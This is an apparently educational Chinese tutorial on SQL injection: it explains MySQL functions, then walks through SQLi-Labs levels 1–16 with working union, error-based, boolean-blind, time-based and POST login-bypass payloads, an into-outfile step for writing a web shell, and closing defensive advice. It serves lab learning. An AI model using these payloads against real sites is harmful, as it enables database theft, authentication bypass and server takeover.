文章目录
- 一、SQL注入语法
- 二、SQL注入流程
- 三、在网页中SQL联合注入过程
- 四、部署SQLi-Labs
- 五、SQLi-Labs第一关的注入
- 六、SQLi-Labs第二关的注入
- 七、SQLi-Labs第三关的注入
- 八、SQLi-Labs第四关的注入
- 九、SQLi-Labs第五关的注入(布尔盲注)
- 十、SQLi-Labs第六关的注入
- 十一、SQLi-Labs第七关的注入
- 十二、SQLi-Labs第八关的注入
- 十三、SQLi-Labs第九关的注入(延时盲注)
- 十四、SQLi-Labs第十关的注入
- 十五、SQLi-Labs第十一关的注入
- 十六、SQLi-Labs第十二关的注入
- 十七、SQLi-Labs第十三关的注入
- 十八、SQLi-Labs第十四关的注入
- 十九、SQLi-Labs第十五关的注入
- 二十、SQLi-Labs第十六关的注入
- 小结
一、SQL注入语法
union和union all
union和union all都是联合查询,用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中,区别在于union会去除重复的结果,union all不会。
要注意的是前后两个select语句中的列数必须一致
group_concat和concat
concat函数用于将多个字符串连接到一起形成一个字符串,通常用于将多列合并到一列。
group_concat函数会将要查询的结果以一个组合的形式返回,group_concat需要和group_by函数配合使用,否则会将返回结果以一行显示。通常用于将多条记录合并为一条记录。
除此之外还可以使用Separator关键字加分隔符:
concat_ws()
g.:concat_ws(‘|’, 列名1,列名2……)
length()
该函数用于获取字符串字节的长度。
mid()
SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被 SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQLSUBSTR函数作为替代。
left()
LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
用法:
LEFT(str,length);
LEFT()函数接受两个参数:
1.str是要提取子字符串的字符串。
2.length是一个正整数,指定将从左边返回的字符数。
LEFT()函数返回str字符串中最左边的长度字符。如果str或length参数为NULL,则返回NULL值。
如果length为0或为负,则LEFT函数返回一个空字符串。如果length大于str字符串的长度,则LEFT函数返回整个str字符串。
请注意,SUBSTRING(或SUBSTR)函数也提供与LEFT函数相同的功能。
substr()
substr和mid函数的作用和用法基本相同,只不过substr支持的数据库更多,mid只支持mysql数据库。
用法:
substr(string string,num start,num length);
ascii()
ascii函数用来返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。这个函数可以和substr函数配合来使用猜测一个字符。10进制。
sleep()
sleep函数可以让sql执行的时候暂停一段时间,函数的返回结果为0.
if(expr1,expr2,expr3)
语法如下:
IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
count()
count函数是用来统计表中或数组中记录的一个函数,下面我来介绍在MySQL中count函数用法与性能比较吧。count(*) 它返回检索行的数目, 不论其是否包含 NULL值。
load_file()
load_file()可以用来读取文件,此函数的执行必须使用dba权限或者root权限。
需要注意的是:
mysql 新版本下secure_file_priv字段 : secure_file_priv参数是用来限制LOAD DATA, SELECT …OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1.当secure_file_priv的值为null ,表示限制mysqld 不允许导入,导出
2.当secure_file_priv的值为/tmp/,表示限制mysqld 的导入,导出只能发生在/tmp/目录下
3.当secure_file_priv的值没有具体值时,表示不对mysqld 的导入,导出做限制
如何查看secure-file-priv参数的值:
show global variables like '%secure%';
into outfile()
into outfile()函数可以将字符串写入文件,此函数的执行也需要很大的权限,并且目标目录可写。
二、SQL注入流程
1.了解information_schema数据库,并利用该库找到demo库的结构。
(1)获取库名
select database();
(2)获取表名
select table_name from information_schema.tables where table_schema='demo';
(3)获取t_user表的列名
select column_name from information_schema.columns where table_schema='demo' and table_name='t_user';
三、在网页中SQL联合注入过程
select * from xx where yy=?;
通过联合查询得到想要的信息,比如管理员账号密码
1.判断表的列数
select * from xx where yy = 1 order by 5 ;
2.使用联合查询得到想要的信息,比如管理员账号密码
(1)库名
select * from xx where yy = -1 union select 1,2,database(),4,5;
(2)表名
select * from xx where yy = -1 union select 1,2,table_name,4,5 from information_schema.tables where table_schema='double_fish';
其有多张表,因此我们用group_concat
select * from xx where yy = -1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='double_fish';
(3)获取管理员表(t_admin)下的列名
select * from xx where yy = -1 union select 1,2,group_concat(column_name),4,5 from
information_schema.columns where table_schema='double_fish' and table_name='t_admin';
(4)获取管理员账号密码
select * from xx where yy = -1 union select 1,username,password,4,5 from t_admin
四、部署SQLi-Labs
1.将网站资源部署到网站根目录下
2.进入sqli-labs文件夹,进入sql-connections文件夹,修改db-creds.inc文件,在其中$dbpass ='';
行引号内写自己数据库密码
五、SQLi-Labs第一关的注入
(0)猜测后台查询语句
select * from xx where yy ='1' LIMIT 0,1;
(1)判断类型和闭合符
加单引号,看报错来判断
(2)判断列数(# -> %23)
select * from xx where yy ='1' order by 10%23' LIMIT 0,1;
// 即/index.php?id=2' order by 3%23
所以列数为3
(3)判断显示位
select * from xx where yy ='-1' union select 1,2,3%23' LIMIT 0,1;
//即/index.php?id=-1' union select 1,2,3%23
所以显示位为2,3
(4)获取库名
select * from xx where yy ='-1' union select 1,2,database()%23' LIMIT 0,1;
//即/index.php?id=-1' union select 1,2,database()%23
所以数据库名叫security
(5)获取表名
select * from xx where yy = '-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23' LIMIT 0,1;
//即/index.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
有emails,referers,uagents,users四张表
(6)获取列名
select * from xx where yy = '-1' union select 1,2,group_concat(column_name) from
information_schema.columns where table_schema='security' and table_name='users'%23' LIMIT 0,1;
//即/index.php?id=-1' union select 1,2,group_concat(column_name) from
information_schema.columns where table_schema='security' and table_name='users'%23
列名为id,username,password
(7)查询用户信息
select * from xx where yy = '-1' union select 1,2,group_concat(concat_ws(':',username,password) )
from users
六、SQLi-Labs第二关的注入
判断类型和闭合符
不用加#注释,直接order by 找列数
然后后续操作和第一关一样
七、SQLi-Labs第三关的注入
1.判断类型和闭合符
是一个带括号的数字型注入,这里需要闭合它的括号
select * from xx where id=('1')%23');
2.找列数
select * from xx where id=('1')order by 3%23');
下面步骤同第一关
结果如下:
八、SQLi-Labs第四关的注入
1.判断类型和闭合符
select * from xx where id=("1")%23 LIMIT 0,1");
2.找列数
select * from xx where id=("1")order by 3%23 LIMIT 0,1");
3.找库名
select * from xx where id ="-1") union select 1,2,database()%23" LIMIT 0,1;
//即/index.php?id=-1") union select 1,2,database()%23
后面步骤如上
九、SQLi-Labs第五关的注入(布尔盲注)
1.判断类型和闭合符
select * from xx where id='1'%23 LIMIT 0,1';
2.找列数
select * from xx where id='1' order by 3%23 LIMIT 0,1';
3.找回显位
页面显示You are in…证明这是基于布尔的盲注。这步没用
4.使用函数length()探测一下当前数据库名的长度
/index.php?id=1' and length(select database())=8%23
得到数据库名的长度为8
5.布尔盲注
第一个字母(s对应ASCII码115)
/index.php?id=1' and ascii(mid(database(),1,1))>115%23
第二个字母(e对应ASCII码101)
/index.php?id=1' and ascii(mid(database(),2,1))>101%23
以此类推,试出八个字母,拼在一起就是库名security
后面步骤同上
第二种方法:报错注入
报错注入公式:
union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23
//payload是我们想要放入的片段
查库名:
union select 1,(extractvalue(1,concat(0x7e,(database()),0x7e))),3%23
查表名:
select * from users where id = 1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))),3%23
十、SQLi-Labs第六关的注入
1.判断类型和闭合符
select * from xx where id="1"%23 LIMIT 0,1";
下面步骤同上
查库名:
union select 1,(extractvalue(1,concat(0x7e,(database()),0x7e))),3%23
十一、SQLi-Labs第七关的注入
1.判断类型和闭合符
2.看到outfile联想到上传一句话木马
用union联合查询
/index.php?id=1')) union select 1,2,"一句话木马" into outfile "c:/test1.txt"%23
十二、SQLi-Labs第八关的注入
1.判断类型和闭合符
select * from xx where id='1'%23 LIMIT 0,1';
十三、SQLi-Labs第九关的注入(延时盲注)
1.判断类型和闭合符(用sleep函数)
?id=1' and sleep(10)%23
2.找库名
/index.php?id=1' and (select if(ascii(mid(database(),1,1))>50,sleep(5),NULL))%23
十四、SQLi-Labs第十关的注入
和第九关差不多,只不过闭合符是"
?id=1" and sleep(10)%23
找库名
/index.php?id=1" and (select if(ascii(mid(database(),1,1))>50,sleep(5),NULL))%23
十五、SQLi-Labs第十一关的注入
判断类型和闭合符
1' #
查库名
Username:1' union select 1,database() #
Password:1
十六、SQLi-Labs第十二关的注入
判断闭合符
1") #
然后找库名
十七、SQLi-Labs第十三关的注入
1.先找符号位:
Username=1')#
2.判断回显
Username=1') union select 1,2#
发现没有回显,所以只能盲注
也可以采用报错注入:
Username=1') and extractvalue(1,concat(0x7e,(select database())))#
十八、SQLi-Labs第十四关的注入
1.先找符号位:
Username=1"#
2.判断回显
Username=1" union select 1,2#
发现也没有回显,所以只能盲注
也可以采用报错注入:
Username=1" and extractvalue(1,concat(0x7e,(select database())))#
十九、SQLi-Labs第十五关的注入
与上一关不同,这关没有报错提示,但我们可以根据页面的回显来判断。
使用万能密码尝试:
Username=123' or 1 #
因为没有显示位,所以只能盲注
可以采用延时盲注,如:
Username=1' and sleep(3) #
二十、SQLi-Labs第十六关的注入
没有报错提示,继续采用万能密码尝试,找出符号位:
Username=1") or 1#
然后采用盲注。
小结
手工注入
1.数字型/字符型注入的判断及闭合符确认
2.联合查询注入
3.报错注入
4.布尔盲注
5.延时盲注
6.POST注入
工具注入
sqlmap工具
概念和原理
攻击者通过注入sql语句片段,导致后端执行预期外的SQL查询。
危害
(1)条件满足的情况下,攻击者能够
1.拖库
2.读写文件
3.执行系统命令
(2)从影响上来看,条件满足的情况下,可能导致:
1.网站数据被窃取
2.网站页面被篡改
3.服务器被攻击者控制
防护思路
对输入的特殊字符进行转义,比如引号等
正确使用预编译技术进行防护
非必要不开启文件和命令执行权限
进行库和用户的隔离